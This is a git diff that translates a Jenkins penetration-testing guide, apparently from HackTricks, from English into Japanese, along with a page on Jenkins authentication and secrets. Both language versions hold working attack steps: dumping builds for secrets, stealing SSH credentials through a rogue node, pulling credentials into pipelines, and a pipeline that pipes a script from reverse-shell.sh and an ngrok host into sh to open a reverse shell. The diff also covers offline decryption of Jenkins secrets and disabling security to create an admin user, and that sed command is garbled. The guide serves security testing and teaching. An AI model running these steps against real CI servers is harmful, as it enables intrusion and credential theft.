+多くの組織は、GitHubやGitLabのような**SaaSベースのソース管理(SCM)システム**を、JenkinsやTeamCityのような**内部の自己ホスト型CI**ソリューションと組み合わせています。このセットアップにより、CIシステムは主にパイプラインジョブをトリガーするために、**SaaSソース管理ベンダー**から**ウェブフックイベント**を受信できます。
-Many organizations combine **SaaS-based source control management (SCM) systems** such as GitHub or GitLab with an **internal, self-hosted CI** solution like Jenkins or TeamCity. This setup allows CI systems to **receive webhook events from SaaS source control vendors**, primarily for triggering pipeline jobs.
+これを実現するために、組織は**SCMプラットフォーム**の**IP範囲**を**ホワイトリスト**に登録し、**ウェブフック**を介して**内部CIシステム**にアクセスできるようにします。しかし、**誰でも**GitHubやGitLabに**アカウント**を作成し、**ウェブフックをトリガー**するように設定できるため、**内部CIシステム**にリクエストを送信する可能性があります。
-To achieve this, organizations **whitelist** the **IP ranges** of the **SCM platforms**, permitting them to access the **internal CI system** via **webhooks**. However, it's important to note that **anyone** can create an **account** on GitHub or GitLab and configure it to **trigger a webhook**, potentially sending requests to the **internal CI system**.
+確認してください: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
-Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
+## 内部Jenkinsの悪用
-## Internal Jenkins Abuses
-
-In these scenarios we are going to suppose you have a valid account to access Jenkins.
+これらのシナリオでは、Jenkinsにアクセスするための有効なアカウントを持っていると仮定します。
> [!WARNING]
-> Depending on the **Authorization** mechanism configured in Jenkins and the permission of the compromised user you **might be able or not to perform the following attacks.**
+> Jenkinsに設定された**認証**メカニズムと侵害されたユーザーの権限によっては、以下の攻撃を**実行できる場合とできない場合があります。**
-For more information check the basic information:
+詳細については、基本情報を確認してください:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
-### Listing users
+### ユーザーのリスト表示
-If you have accessed Jenkins you can list other registered users in [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
+Jenkinsにアクセスした場合、[http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)で他の登録ユーザーをリスト表示できます。
-### Dumping builds to find cleartext secrets
-
-Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets.
+### プレーンテキストの秘密を見つけるためのビルドダンプ
+[このスクリプト](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py)を使用して、ビルドコンソール出力とビルド環境変数をダンプし、プレーンテキストの秘密を見つけることを期待します。
```bash
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
```
+### **SSH資格情報の盗難**
-### **Stealing SSH Credentials**
-
-If the compromised user has **enough privileges to create/modify a new Jenkins node** and SSH credentials are already stored to access other nodes, he could **steal those credentials** by creating/modifying a node and **setting a host that will record the credentials** without verifying the host key:
+もし侵害されたユーザーが**新しいJenkinsノードを作成/変更するのに十分な権限を持っている**場合、SSH資格情報が他のノードにアクセスするためにすでに保存されていると、彼は**ノードを作成/変更し、資格情報を記録するホストを設定することによってそれらの資格情報を盗む**ことができます。ホストキーを検証せずに:
.png>)
-You will usually find Jenkins ssh credentials in a **global provider** (`/credentials/`), so you can also dump them as you would dump any other secret. More information in the [**Dumping secrets section**](./#dumping-secrets).
+通常、JenkinsのSSH資格情報は**グローバルプロバイダー**(`/credentials/`)に見つかるので、他の秘密をダンプするのと同様にそれらをダンプすることもできます。詳細は[**秘密のダンプセクション**](./#dumping-secrets)を参照してください。
-### **RCE in Jenkins**
+### **JenkinsにおけるRCE**
-Getting a **shell in the Jenkins server** gives the attacker the opportunity to leak all the **secrets** and **env variables** and to **exploit other machines** located in the same network or even **gather cloud credentials**.
+**Jenkinsサーバーでシェルを取得する**ことは、攻撃者にすべての**秘密**や**環境変数**を漏洩させ、同じネットワーク内にある他のマシンを**悪用する**機会を与え、さらには**クラウド資格情報を収集する**ことができます。
-By default, Jenkins will **run as SYSTEM**. So, compromising it will give the attacker **SYSTEM privileges**.
+デフォルトでは、Jenkinsは**SYSTEMとして実行されます**。したがって、これを侵害することで攻撃者は**SYSTEM権限**を得ることになります。
-### **RCE Creating/Modifying a project**
+### **プロジェクトの作成/変更によるRCE**
-Creating/Modifying a project is a way to obtain RCE over the Jenkins server:
+プロジェクトを作成/変更することは、Jenkinsサーバー上でRCEを取得する方法です:
{{#ref}}
jenkins-rce-creating-modifying-project.md
{{#endref}}
-### **RCE Execute Groovy script**
+### **Groovyスクリプトの実行によるRCE**
-You can also obtain RCE executing a Groovy script, which might my stealthier than creating a new project:
+新しいプロジェクトを作成するよりも、Groovyスクリプトを実行することでRCEを取得することもできます。これはよりステルス性が高いかもしれません:
{{#ref}}
jenkins-rce-with-groovy-script.md
{{#endref}}
-### RCE Creating/Modifying Pipeline
+### パイプラインの作成/変更によるRCE
-You can also get **RCE by creating/modifying a pipeline**:
+**パイプラインを作成/変更することによってRCEを取得する**こともできます:
{{#ref}}
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
-## Pipeline Exploitation
+## パイプラインの悪用
-To exploit pipelines you still need to have access to Jenkins.
+パイプラインを悪用するには、Jenkinsへのアクセスが必要です。
-### Build Pipelines
+### ビルドパイプライン
-**Pipelines** can also be used as **build mechanism in projects**, in that case it can be configured a **file inside the repository** that will contains the pipeline syntax. By default `/Jenkinsfile` is used:
+**パイプライン**は**プロジェクトのビルドメカニズム**としても使用でき、その場合、パイプライン構文を含む**リポジトリ内のファイル**を設定できます。デフォルトでは`/Jenkinsfile`が使用されます:
.png>)
-It's also possible to **store pipeline configuration files in other places** (in other repositories for example) with the goal of **separating** the repository **access** and the pipeline access.
+他の場所(例えば他のリポジトリ)にパイプライン構成ファイルを**保存することも可能**で、リポジトリの**アクセス**とパイプラインのアクセスを**分離する**ことを目的としています。
-If an attacker have **write access over that file** he will be able to **modify** it and **potentially trigger** the pipeline without even having access to Jenkins.\
-It's possible that the attacker will need to **bypass some branch protections** (depending on the platform and the user privileges they could be bypassed or not).
+攻撃者がそのファイルに**書き込みアクセスを持っている場合**、彼はそれを**変更**し、Jenkinsにアクセスすることなく**パイプラインをトリガーする**ことができるでしょう。\
+攻撃者は**いくつかのブランチ保護を回避する必要があるかもしれません**(プラットフォームやユーザー権限によっては回避できる場合もあります)。
-The most common triggers to execute a custom pipeline are:
+カスタムパイプラインを実行するための最も一般的なトリガーは次のとおりです:
-- **Pull request** to the main branch (or potentially to other branches)
-- **Push to the main branch** (or potentially to other branches)
-- **Update the main branch** and wait until it's executed somehow
+- **メインブランチへのプルリクエスト**(または他のブランチへのプルリクエスト)
+- **メインブランチへのプッシュ**(または他のブランチへのプッシュ)
+- **メインブランチの更新**を行い、何らかの方法で実行されるのを待つ
> [!NOTE]
-> If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**.
+> あなたが**外部ユーザー**である場合、**他のユーザー/組織のリポジトリのメインブランチにPRを作成し、パイプラインをトリガーする**ことを期待すべきではありません...しかし、**不適切に設定されている**場合、あなたはこの方法で企業を完全に**侵害する**ことができるかもしれません。
-### Pipeline RCE
+### パイプラインRCE
-In the previous RCE section it was already indicated a technique to [**get RCE modifying a pipeline**](./#rce-creating-modifying-pipeline).
+前のRCEセクションでは、[**パイプラインを変更することでRCEを取得する技術**](./#rce-creating-modifying-pipeline)がすでに示されています。
-### Checking Env variables
-
-It's possible to declare **clear text env variables** for the whole pipeline or for specific stages. This env variables **shouldn't contain sensitive info**, but and attacker could always **check all the pipeline** configurations/Jenkinsfiles:
+### 環境変数の確認
+**平文の環境変数**をパイプライン全体または特定のステージのために宣言することが可能です。これらの環境変数は**機密情報を含むべきではありません**が、攻撃者は常に**すべてのパイプライン**の構成/Jenkinsfileを**確認する**ことができます:
```bash
pipeline {
- agent {label 'built-in'}
- environment {
- GENERIC_ENV_VAR = "Test pipeline ENV variables."
- }
+agent {label 'built-in'}
+environment {
+GENERIC_ENV_VAR = "Test pipeline ENV variables."
+}
- stages {
- stage("Build") {
- environment {
- STAGE_ENV_VAR = "Test stage ENV variables."
- }
- steps {
+stages {
+stage("Build") {
+environment {
+STAGE_ENV_VAR = "Test stage ENV variables."
+}
+steps {
```
+### 秘密のダンプ
-### Dumping secrets
-
-For information about how are secrets usually treated by Jenkins check out the basic information:
+Jenkinsが秘密を通常どのように扱うかについての情報は、基本情報を確認してください:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
-Credentials can be **scoped to global providers** (`/credentials/`) or to **specific projects** (`/job//configure`). Therefore, in order to exfiltrate all of them you need to **compromise at least all the projects** that contains secrets and execute custom/poisoned pipelines.
-
-There is another problem, in order to get a **secret inside the env** of a pipeline you need to **know the name and type of the secret**. For example, you try lo **load** a **`usernamePassword`** **secret** as a **`string`** **secret** you will get this **error**:
+資格情報は**グローバルプロバイダー**(`/credentials/`)または**特定のプロジェクト**(`/job//configure`)に**スコープ**できます。したがって、すべての秘密を抽出するには、**秘密を含むすべてのプロジェクトを少なくとも侵害する**必要があり、カスタム/毒入りパイプラインを実行する必要があります。
+もう一つの問題は、パイプラインの**env内の秘密を取得するためには、**秘密の**名前とタイプを知っている必要がある**ことです。たとえば、**`usernamePassword`** **秘密**を**`string`** **秘密**として**ロード**しようとすると、この**エラー**が発生します:
```
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
```
-
-Here you have the way to load some common secret types:
-
+ここでは、一般的な秘密の種類をロードする方法を示します:
```bash
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
- sh '''
- env #Search for USERNAME and PASS
- '''
+sh '''
+env #Search for USERNAME and PASS
+'''
}
withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
- sh '''
- env #Search for SECRET
- '''
+sh '''
+env #Search for SECRET
+'''
}
withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
- sh '''
- env # Search for USERPASS
- '''
+sh '''
+env # Search for USERPASS
+'''
}
# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
- string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
- sh '''
- env
- '''
+string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
+sh '''
+env
+'''
}
```
-
-At the end of this page you can **find all the credential types**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
+このページの最後で、**すべての認証情報の種類**を**見つけることができます**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
> [!WARNING]
-> The best way to **dump all the secrets at once** is by **compromising** the **Jenkins** machine (running a reverse shell in the **built-in node** for example) and then **leaking** the **master keys** and the **encrypted secrets** and decrypting them offline.\
-> More on how to do this in the [Nodes & Agents section](./#nodes-and-agents) and in the [Post Exploitation section](./#post-exploitation).
+> **すべての秘密を一度にダンプする**最良の方法は、**Jenkins**マシンを**侵害する**ことです(例えば、**組み込みノード**でリバースシェルを実行する)そして、**マスターキー**と**暗号化された秘密**を**漏洩**させ、それらをオフラインで復号化します。\
+> これを行う方法については、[ノードとエージェントのセクション](./#nodes-and-agents)および[ポストエクスプロイテーションのセクション](./#post-exploitation)を参照してください。
-### Triggers
+### トリガー
-From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): The `triggers` directive defines the **automated ways in which the Pipeline should be re-triggered**. For Pipelines which are integrated with a source such as GitHub or BitBucket, `triggers` may not be necessary as webhooks-based integration will likely already be present. The triggers currently available are `cron`, `pollSCM` and `upstream`.
-
-Cron example:
+[ドキュメント](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers)から: `triggers`ディレクティブは、**パイプラインが再トリガーされる自動化された方法**を定義します。GitHubやBitBucketなどのソースと統合されたパイプラインの場合、`triggers`は必要ないかもしれません。なぜなら、ウェブフックベースの統合がすでに存在する可能性が高いからです。現在利用可能なトリガーは、`cron`、`pollSCM`、および`upstream`です。
+Cronの例:
```bash
triggers { cron('H */4 * * 1-5') }
```
+他の例は**ドキュメント**で確認してください。
-Check **other examples in the docs**.
+### ノードとエージェント
-### Nodes & Agents
+**Jenkinsインスタンス**は**異なるマシンで異なるエージェントが実行されている**可能性があります。攻撃者の視点から見ると、異なるマシンへのアクセスは**異なる潜在的なクラウド資格情報**を盗むことや、**他のマシンを悪用するための異なるネットワークアクセス**を意味します。
-A **Jenkins instance** might have **different agents running in different machines**. From an attacker perspective, access to different machines means **different potential cloud credentials** to steal or **different network access** that could be abuse to exploit other machines.
-
-For more information check the basic information:
+詳細については基本情報を確認してください:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
-You can enumerate the **configured nodes** in `/computer/`, you will usually find the \*\*`Built-In Node` \*\* (which is the node running Jenkins) and potentially more:
+`/computer/`で**構成されたノード**を列挙できます。通常、**`Built-In Node`**(Jenkinsを実行しているノード)と、潜在的に他のノードが見つかります:
.png>)
-It is **specially interesting to compromise the Built-In node** because it contains sensitive Jenkins information.
-
-To indicate you want to **run** the **pipeline** in the **built-in Jenkins node** you can specify inside the pipeline the following config:
+**Built-Inノードを妥協することは特に興味深い**です。なぜなら、それには機密のJenkins情報が含まれているからです。
+**ビルトインJenkinsノード**で**パイプライン**を**実行**したいことを示すために、パイプライン内で次の設定を指定できます:
```bash
pipeline {
- agent {label 'built-in'}
+agent {label 'built-in'}
```
+### 完全な例
-### Complete example
-
-Pipeline in an specific agent, with a cron trigger, with pipeline and stage env variables, loading 2 variables in a step and sending a reverse shell:
-
+特定のエージェントでのパイプライン、cronトリガー付き、パイプラインおよびステージ環境変数、ステップで2つの変数を読み込み、リバースシェルを送信する:
```bash
pipeline {
- agent {label 'built-in'}
- triggers { cron('H */4 * * 1-5') }
- environment {
- GENERIC_ENV_VAR = "Test pipeline ENV variables."
- }
+agent {label 'built-in'}
+triggers { cron('H */4 * * 1-5') }
+environment {
+GENERIC_ENV_VAR = "Test pipeline ENV variables."
+}
- stages {
- stage("Build") {
- environment {
- STAGE_ENV_VAR = "Test stage ENV variables."
- }
- steps {
- withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
- string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
- sh '''
- curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
- '''
- }
- }
- }
+stages {
+stage("Build") {
+environment {
+STAGE_ENV_VAR = "Test stage ENV variables."
+}
+steps {
+withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
+string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
+sh '''
+curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
+'''
+}
+}
+}
- post {
- always {
- cleanWs()
- }
- }
+post {
+always {
+cleanWs()
+}
+}
}
```
-
-## Arbitrary File Read to RCE
+## 任意ファイル読み取りからRCE
{{#ref}}
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -326,19 +306,17 @@ jenkins-rce-creating-modifying-project.md
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
-## Post Exploitation
+## ポストエクスプロイテーション
### Metasploit
-
```
msf> post/multi/gather/jenkins_gather
```
-
### Jenkins Secrets
-You can list the secrets accessing `/credentials/` if you have enough permissions. Note that this will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
+`/credentials/` にアクセスすることで、十分な権限があればシークレットをリストできます。これは `credentials.xml` ファイル内のシークレットのみをリストしますが、**ビルド構成ファイル**にも **さらに多くの資格情報**が含まれている可能性があります。
-If you can **see the configuration of each project**, you can also see in there the **names of the credentials (secrets)** being use to access the repository and **other credentials of the project**.
+**各プロジェクトの構成を表示できる**場合、リポジトリにアクセスするために使用されている **資格情報(シークレット)の名前**や **プロジェクトの他の資格情報**もそこに表示されます。
.png>)
@@ -350,19 +328,18 @@ jenkins-dumping-secrets-from-groovy.md
#### From disk
-These files are needed to **decrypt Jenkins secrets**:
+これらのファイルは **Jenkinsシークレットを復号化するために必要です**:
- secrets/master.key
- secrets/hudson.util.Secret
-Such **secrets can usually be found in**:
+そのような **シークレットは通常次の場所にあります**:
- credentials.xml
- jobs/.../build.xml
- jobs/.../config.xml
-Here's a regex to find them:
-
+これらを見つけるための正規表現は次のとおりです:
```bash
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
@@ -372,11 +349,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Secret example
credentials.xml: {AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}
```
+#### Jenkinsの秘密をオフラインで復号化する
-#### Decrypt Jenkins secrets offline
-
-If you have dumped the **needed passwords to decrypt the secrets**, use [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **to decrypt those secrets**.
-
+**秘密を復号化するために必要なパスワードをダンプした場合**、[**このスクリプト**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **を使用してそれらの秘密を復号化します**。
```bash
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
@@ -384,23 +359,20 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
```
-
-#### Decrypt Jenkins secrets from Groovy
-
+#### GroovyからJenkinsの秘密を復号化する
```bash
println(hudson.util.Secret.decrypt("{...}"))
```
+### 新しい管理者ユーザーを作成する
-### Create new admin user
+1. `/var/lib/jenkins/config.xml` または `C:\Program Files (x86)\Jenkis\` にある Jenkins config.xml ファイルにアクセスします。
+2. `true`という単語を検索し、**`true`**を**`false`**に変更します。
+1. `sed -i -e 's/truefalsetrue` に変更して、**再度セキュリティを有効にし**、**Jenkins を再起動**します。
-1. Access the Jenkins config.xml file in `/var/lib/jenkins/config.xml` or `C:\Program Files (x86)\Jenkis\`
-2. Search for the word `true`and change the word \*\*`true` \*\* to **`false`**.
- 1. `sed -i -e 's/truefalsetrue` and **restart the Jenkins again**.
-
-## References
+## 参考文献
- [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins)
- [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/)
@@ -410,7 +382,3 @@ println(hudson.util.Secret.decrypt("{...}"))
- [https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3](https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
index 6e62a8536..c27a06f54 100644
--- a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
+++ b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
@@ -6,48 +6,48 @@
### Username + Password
-The most common way to login in Jenkins if with a username or a password
+Jenkinsにログインする最も一般的な方法は、ユーザー名またはパスワードです。
### Cookie
-If an **authorized cookie gets stolen**, it ca be used to access the session of the user. The cookie is usually called `JSESSIONID.*`. (A user can terminate all his sessions, but he would need to find out first that a cookie was stolen).
+**認可されたクッキーが盗まれた場合**、それを使用してユーザーのセッションにアクセスできます。クッキーは通常`JSESSIONID.*`と呼ばれます。(ユーザーはすべてのセッションを終了できますが、最初にクッキーが盗まれたことを知る必要があります)。
### SSO/Plugins
-Jenkins can be configured using plugins to be **accessible via third party SSO**.
+Jenkinsはプラグインを使用して**サードパーティのSSO経由でアクセス可能**に構成できます。
### Tokens
-**Users can generate tokens** to give access to applications to impersonate them via CLI or REST API.
+**ユーザーはトークンを生成して**、CLIまたはREST APIを介してアプリケーションに自分を偽装させることができます。
### SSH Keys
-This component provides a built-in SSH server for Jenkins. It’s an alternative interface for the [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), and commands can be invoked this way using any SSH client. (From the [docs](https://plugins.jenkins.io/sshd/))
+このコンポーネントはJenkins用の組み込みSSHサーバーを提供します。これは[Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/)の代替インターフェースであり、任意のSSHクライアントを使用してこの方法でコマンドを呼び出すことができます。([docs](https://plugins.jenkins.io/sshd/)から)
## Authorization
-In `/configureSecurity` it's possible to **configure the authorization method of Jenkins**. There are several options:
+`/configureSecurity`では、Jenkinsの**認可方法を構成**できます。いくつかのオプションがあります:
-- **Anyone can do anything**: Even anonymous access can administrate the server
-- **Legacy mode**: Same as Jenkins <1.164. If you have the **"admin" role**, you'll be granted **full control** over the system, and **otherwise** (including **anonymous** users) you'll have **read** access.
-- **Logged-in users can do anything**: In this mode, every **logged-in user gets full control** of Jenkins. The only user who won't have full control is **anonymous user**, who only gets **read access**.
-- **Matrix-based security**: You can configure **who can do what** in a table. Each **column** represents a **permission**. Each **row** **represents** a **user or a group/role.** This includes a special user '**anonymous**', which represents **unauthenticated users**, as well as '**authenticated**', which represents **all authenticated users**.
+- **誰でも何でもできる**:匿名アクセスでもサーバーを管理できます。
+- **レガシーモード**:Jenkins <1.164と同じです。**「admin」役割**を持っている場合、システムに対して**完全な制御**が与えられ、**それ以外**(**匿名**ユーザーを含む)は**読み取り**アクセスのみが与えられます。
+- **ログインしたユーザーは何でもできる**:このモードでは、すべての**ログインしたユーザーがJenkinsの完全な制御を得ます**。完全な制御を持たない唯一のユーザーは**匿名ユーザー**で、**読み取りアクセス**のみが与えられます。
+- **マトリックスベースのセキュリティ**:**誰が何をできるか**を表で構成できます。各**列**は**権限**を表し、各**行**は**ユーザーまたはグループ/役割**を表します。これには、**未認証ユーザー**を表す特別なユーザー「**anonymous**」や、**すべての認証済みユーザー**を表す「**authenticated**」が含まれます。
.png>)
-- **Project-based Matrix Authorization Strategy:** This mode is an **extension** to "**Matrix-based security**" that allows additional ACL matrix to be **defined for each project separately.**
-- **Role-Based Strategy:** Enables defining authorizations using a **role-based strategy**. Manage the roles in `/role-strategy`.
+- **プロジェクトベースのマトリックス認可戦略**:このモードは、**各プロジェクトごとに追加のACLマトリックスを定義できる**「**マトリックスベースのセキュリティ**」の拡張です。
+- **役割ベースの戦略**:**役割ベースの戦略**を使用して認可を定義できます。`/role-strategy`で役割を管理します。
## **Security Realm**
-In `/configureSecurity` it's possible to **configure the security realm.** By default Jenkins includes support for a few different Security Realms:
+`/configureSecurity`では、**セキュリティレルムを構成**できます。デフォルトでは、Jenkinsはいくつかの異なるセキュリティレルムをサポートしています:
-- **Delegate to servlet container**: For **delegating authentication a servlet container running the Jenkins controller**, such as [Jetty](https://www.eclipse.org/jetty/).
-- **Jenkins’ own user database:** Use **Jenkins’s own built-in user data store** for authentication instead of delegating to an external system. This is enabled by default.
-- **LDAP**: Delegate all authentication to a configured LDAP server, including both users and groups.
-- **Unix user/group database**: **Delegates the authentication to the underlying Unix** OS-level user database on the Jenkins controller. This mode will also allow re-use of Unix groups for authorization.
+- **サーブレットコンテナに委任**:Jenkinsコントローラーを実行しているサーブレットコンテナに**認証を委任**します。たとえば、[Jetty](https://www.eclipse.org/jetty/)などです。
+- **Jenkins独自のユーザーデータベース**:外部システムに委任するのではなく、**Jenkinsの組み込みユーザーデータストア**を使用して認証します。これはデフォルトで有効です。
+- **LDAP**:ユーザーとグループの両方を含む、構成されたLDAPサーバーにすべての認証を委任します。
+- **Unixユーザー/グループデータベース**:Jenkinsコントローラー上の基盤となるUnix OSレベルのユーザーデータベースに**認証を委任**します。このモードでは、認可のためにUnixグループを再利用することも可能です。
-Plugins can provide additional security realms which may be useful for incorporating Jenkins into existing identity systems, such as:
+プラグインは、Jenkinsを既存のアイデンティティシステムに組み込むのに役立つ追加のセキュリティレルムを提供できます。たとえば:
- [Active Directory](https://plugins.jenkins.io/active-directory)
- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
@@ -55,31 +55,31 @@ Plugins can provide additional security realms which may be useful for incorpora
## Jenkins Nodes, Agents & Executors
-Definitions from the [docs](https://www.jenkins.io/doc/book/managing/nodes/):
+[docs](https://www.jenkins.io/doc/book/managing/nodes/)からの定義:
-**Nodes** are the **machines** on which build **agents run**. Jenkins monitors each attached node for disk space, free temp space, free swap, clock time/sync and response time. A node is taken offline if any of these values go outside the configured threshold.
+**ノード**は、ビルド**エージェントが実行される**マシンです。Jenkinsは、ディスクスペース、空き一時スペース、空きスワップ、時計の時間/同期、応答時間のために各接続ノードを監視します。これらの値のいずれかが構成された閾値を超えると、ノードはオフラインになります。
-**Agents** **manage** the **task execution** on behalf of the Jenkins controller by **using executors**. An agent can use any operating system that supports Java. Tools required for builds and tests are installed on the node where the agent runs; they can **be installed directly or in a container** (Docker or Kubernetes). Each **agent is effectively a process with its own PID** on the host machine.
+**エージェント**は、**エグゼキュータを使用して**Jenkinsコントローラーの代理として**タスク実行を管理**します。エージェントはJavaをサポートする任意のオペレーティングシステムを使用できます。ビルドやテストに必要なツールは、エージェントが実行されるノードにインストールされます。これらは**直接インストールするか、コンテナ**(DockerまたはKubernetes)内にインストールできます。各**エージェントは、ホストマシン上で独自のPIDを持つプロセスです**。
-An **executor** is a **slot for execution of tasks**; effectively, it is **a thread in the agent**. The **number of executors** on a node defines the number of **concurrent tasks** that can be executed on that node at one time. In other words, this determines the **number of concurrent Pipeline `stages`** that can execute on that node at one time.
+**エグゼキュータ**は**タスクの実行スロット**です。実際には、**エージェント内のスレッド**です。ノード上の**エグゼキュータの数**は、そのノードで同時に実行できる**同時タスクの数**を定義します。言い換えれば、これはそのノードで同時に実行できる**同時Pipeline `stages`**の数を決定します。
## Jenkins Secrets
### Encryption of Secrets and Credentials
-Definition from the [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins uses **AES to encrypt and protect secrets**, credentials, and their respective encryption keys. These encryption keys are stored in `$JENKINS_HOME/secrets/` along with the master key used to protect said keys. This directory should be configured so that only the operating system user the Jenkins controller is running as has read and write access to this directory (i.e., a `chmod` value of `0700` or using appropriate file attributes). The **master key** (sometimes referred to as a "key encryption key" in cryptojargon) is **stored \_unencrypted**\_ on the Jenkins controller filesystem in **`$JENKINS_HOME/secrets/master.key`** which does not protect against attackers with direct access to that file. Most users and developers will use these encryption keys indirectly via either the [Secret](https://javadoc.jenkins.io/byShortName/Secret) API for encrypting generic secret data or through the credentials API. For the cryptocurious, Jenkins uses AES in cipher block chaining (CBC) mode with PKCS#5 padding and random IVs to encrypt instances of [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) which are stored in `$JENKINS_HOME/secrets/` with a filename corresponding to their `CryptoConfidentialKey` id. Common key ids include:
+[docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials)からの定義:Jenkinsは**AESを使用して秘密情報**、資格情報、およびそれらの暗号化キーを保護します。これらの暗号化キーは、マスターキーと共に`$JENKINS_HOME/secrets/`に保存されます。このディレクトリは、Jenkinsコントローラーが実行されているオペレーティングシステムユーザーのみが読み取りおよび書き込みアクセスを持つように構成する必要があります(つまり、`chmod`値は`0700`または適切なファイル属性を使用)。**マスターキー**(暗号用語で「キー暗号化キー」と呼ばれることもあります)は、**Jenkinsコントローラーのファイルシステムに\_暗号化されていない\_**状態で保存されており、**`$JENKINS_HOME/secrets/master.key`**にあります。これは、そのファイルに直接アクセスできる攻撃者に対して保護されていません。ほとんどのユーザーと開発者は、一般的な秘密データを暗号化するための[Secret](https://javadoc.jenkins.io/byShortName/Secret) APIや資格情報APIを介して、これらの暗号化キーを間接的に使用します。暗号に興味がある方のために、JenkinsはAESを暗号ブロックチェーン(CBC)モードで使用し、PKCS#5パディングとランダムIVを使用して、`$JENKINS_HOME/secrets/`に保存される[CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey)のインスタンスを暗号化します。これらは`CryptoConfidentialKey` IDに対応するファイル名で保存されます。一般的なキーIDには以下が含まれます:
-- `hudson.util.Secret`: used for generic secrets;
-- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: used for some credentials types;
-- `jenkins.model.Jenkins.crumbSalt`: used by the [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); and
+- `hudson.util.Secret`:一般的な秘密に使用されます;
+- `com.cloudbees.plugins.credentials.SecretBytes.KEY`:一部の資格情報タイプに使用されます;
+- `jenkins.model.Jenkins.crumbSalt`: [CSRF保護メカニズム](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery)によって使用されます;
### Credentials Access
